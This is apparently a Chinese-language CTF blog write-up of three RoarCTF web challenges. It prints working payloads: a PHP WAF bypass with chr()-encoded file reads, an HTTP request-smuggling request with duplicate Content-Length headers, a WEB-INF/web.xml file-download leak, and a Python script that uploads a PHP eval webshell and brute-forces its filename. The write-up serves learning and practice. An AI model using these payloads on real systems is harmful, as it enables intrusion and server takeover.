Roarctf Web writeup


#写在前面,很多知识都不会,但在慢慢学习过程中积累,下面记录一下Roarctf web 题解,学习一手新知识

easy_calc

看了一下页面可以计算式子,猜测后台是eval函数,看了下网络看经过哪些请求,发现请求了一个请求网址calc.php?num=1,于是访问calc.php,看到了源码

1572272252121

是一个正则匹配,匹配到测试字符则退出,否则eval执行,当时我发现了这个,看了一下,输了phpinfo();发现是403,而之前页面源码告诉了有waf,然后不会做,这里附个链接 传送门 发现可以利用PHP的字符串解析特性Bypass,所以传参加一个空格即可绕过

1572273442458

看了disable_functions发现该禁的基本上都禁了,之后其实挺简单的,读文件就行,注意之前的正则,这里用ascii编码绕过

http://node3.buuoj.cn:28890/calc.php? num=var_dump(scandir(chr(47)));    //查文件
http://node3.buuoj.cn:28890/calc.php? num=readfile(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103));    //读文件

看别人的writeup还有一种写法是http走私附个链接 传送门 大概就是用CL发送一个请求让服务器两次处理

GET /calc.php?num=phpinfo(); HTTP/1.1
Host: node3.buuoj.cn:28890
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: __cfduid=df52311039f2f717d63d154645ddf93431564799805
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
Content-Length: 9
Content-Length: 9    //两个C-L,用http走私

num=phpinfo();

easy_java

这道题打开是一个登录框,考点的java web,点开登录界面的help,发现一个download,可以任意文件下载,利用WEB-INF/web.xml泄露,读取flag。

WEB-INF主要包含一下文件或目录:
    /WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
    /WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
    /WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
    /WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
    /WEB-INF/database.properties:数据库配置文件
漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码

1572353748785

1572353979564

找到flag文件的关键位置,然后读这个文件,有段base64编码,解码就是flag。

Simple Upload

<?php
namespace Home\Controller;

useThink\Controller;

classIndexControllerextendsController
{
   publicfunctionindex()
  {
       show_source(__FILE__);
  }
   publicfunctionupload()
  {
       $uploadFile=$_FILES['file'] ;

if (strstr(strtolower($uploadFile['name']), ".php") ) {
           return false;
      }

       $upload=new\Think\Upload();// 实例化上传类
       $upload->maxSize  =4096 ;// 设置附件上传大小
       $upload->allowExts  =array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
       $upload->rootPath='./Public/Uploads/';// 设置附件上传目录
       $upload->savePath='';// 设置附件上传子目录
       $info=$upload->upload() ;
if(!$info) {// 上传错误提示错误信息
$this->error($upload->getError());
return;
      }else{// 上传成功获取上传文件信息
         $url=__ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
         echo json_encode(array("url"=>$url,"success"=>1));
      }
  }
}
import requests

url = "http://1a79e33d-c12c-48e5-b33c-48345ac7056f.node3.buuoj.cn/"

path = url + "/index.php/home/index/upload"
files = {"file":("a.txt",'a'), "file1":("a.php", '<?php eval($_GET["a"]);')}
r = requests.post(path, files=files)
t1 = r.text.split("/")[-1].split(".")[0]
print (t1)
t1 = int(t1, 16)
print (t1)

j = t1
while True:
    path = url + "/Public/Uploads/2019-11-04/%s.php" % hex(j)[2:-1]
    try:
        r = requests.get(path, timeout=1)
    except:
        continue
    if r.status_code != 404:
        print (path)
        print (r.text)
        break
    print (j, hex(j)[2:-1], r.status_code)
    j -= 1

Author: LiM
Reprint policy: All articles in this blog are used except for special statements CC BY 4.0 reprint polocy. If reproduced, please indicate source LiM !
 Previous
upload-libs通关笔记 upload-libs通关笔记
文件上传漏洞是指由于程序员未对上传的文件进行严格的验证和过滤,而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。这种攻击方式是最为直接和有效的,“文件上传”本身
2019-11-19 LiM
Next 
Syc Geek 10th web部分题解 Syc Geek 10th web部分题解
打比赛先撸一只猫查看源码,发现简单考点 <!-- $cat=$_GET['cat']; echo $cat; if($cat=='dog'){ echo 'Syc{cat_cat_cat_cat}'; } --> 只需GET传参cat
2019-10-26 LiM
  TOC